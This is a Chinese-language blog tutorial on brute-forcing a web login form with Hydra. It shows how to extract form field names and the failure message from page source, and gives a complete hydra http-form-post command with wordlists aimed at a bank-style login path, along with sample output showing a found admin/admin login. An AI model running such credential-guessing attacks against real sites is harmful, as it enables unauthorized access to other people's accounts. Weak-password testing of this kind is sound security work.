Site icon Mr. 沙先生

Hydra 暴力破解密碼工具 – 實戰測試

Hydra 是一個暴力破解帳號密碼的工具,使用既有的帳號密碼檔來進行每一組的比對破解,這是一個只需要時間的無腦破解工具,你只要放著即可讓 Hydra 替你找到登入帳密

 

Hydra 算是一款集成又操作方便的工具,他可以應用於 http、https、ftp、ldap、mysql、pop3、ssh .. 等等

 

本篇的範例主要是用來測試 “弱密碼” ,來讓一般使用者知道已經暴露在危險中。

 

 

使用 Hydra 你必須具備基本的原始碼概念,因為你必須確認以下符合資格才能進行 Hydra 暴力破解

1. 必須無圖形驗證或其他協同驗證的方式

2. 從原始碼判斷是使用 post / get 來丟帳號密碼

3. 登入 (action) 的網址

4. Login fail 的錯誤判別方式,一般為錯誤訊息

 

 

Step.1 首先你必須先到要暴力破解的登入頁

 

 

Step.2 檢視原始碼,找到帳號、密碼、登入 action 網址

<form name="login" action="login.go" method="post"  onsubmit="javascript:window.document.forms['login'].elements['submit_button'].disabled='true';return true">
            <input type="hidden" name="frontdoor" value='true'/>
            <h1>請輸入您的帳號及密碼</h1>
            <div id="error_center">
            </div>
            <div style="margin:5px 0 10px 0">
              <span id="title">使用者帳號:&nbsp;</span>
              <input style="font-family: Verdana" id="account" name="login" type="text" value=""
                     tabindex="1" autocomplete="false"/>
            </div>
            <div style="margin:0 0 10px 0">
              <span id="title">密碼:&nbsp;</span>
              <input style="font-family: Verdana" name="pwd" type="password"
                     tabindex="2" autocomplete="off" onkeydown="if (event.keyCode == 13) { document.forms[0].submit(); return false; }"/>
            </div>

找到以下

action=”login.go”

method=”post”

帳號 name=”login”

密碼 name=”pwd”

 

並且嘗試登入失敗,確認顯示的錯誤訊息為 “Login fail” (可以取關鍵字就好,Hydra 會依照執行後的結果與此訊息判斷是否成功登入)

 

有了以上資訊我們就可以開始暴力破解

 

 

Step.3 進行暴力破解

這個步驟你必須擁有一個符合帳密需求的帳號、密碼檔,在 Kali 有預設的密碼檔進行示範。註1

 

由 Step.2 收集到的資料是採用 post 來發送帳密,所以我們使用 http-form-post 來進行攻擊

$ hydra -L /usr/share/metasploit-framework/data/john/wordlists/password.lst -P /usr/share/metasploit-framework/data/john/wordlists/password.lst taiwan.com http-form-post "/bank/login.aspx:login=^USER^&pwd=^PASS^:Login fail"

^USER^ 和 ^PASS^ 會將帳號、密碼檔分別帶入進行暴力破解,而最後為登入成功與否的判定

 

 

Step.4 執行結果

若是你的帳號、密碼檔龐大,則破解時間越長

如果有找到對應的帳號密碼,則會顯示如下

[80][www-form] host: taiwan.com   login: admin   password: admin
1 of 1 target successfully completed, I valid password found Hydra

 

則 admin / admin 就是你的登入帳號密碼!

 

 

註1. 帳號密碼檔為暴力破解最關鍵之一的工具,一般稱為字典檔,字典檔必須一定要擁有正確的使用者登入資訊(帳號密碼),才可能核對成功!

暴力破解只是將你提供的清單(字典),一一進行登入測試,當然如果帳號密碼為 10 位元,而你準備的字典檔只有 9 位元,則無法破解成功。

 

 

 

 

參考資料:

雅技資訊

Exit mobile version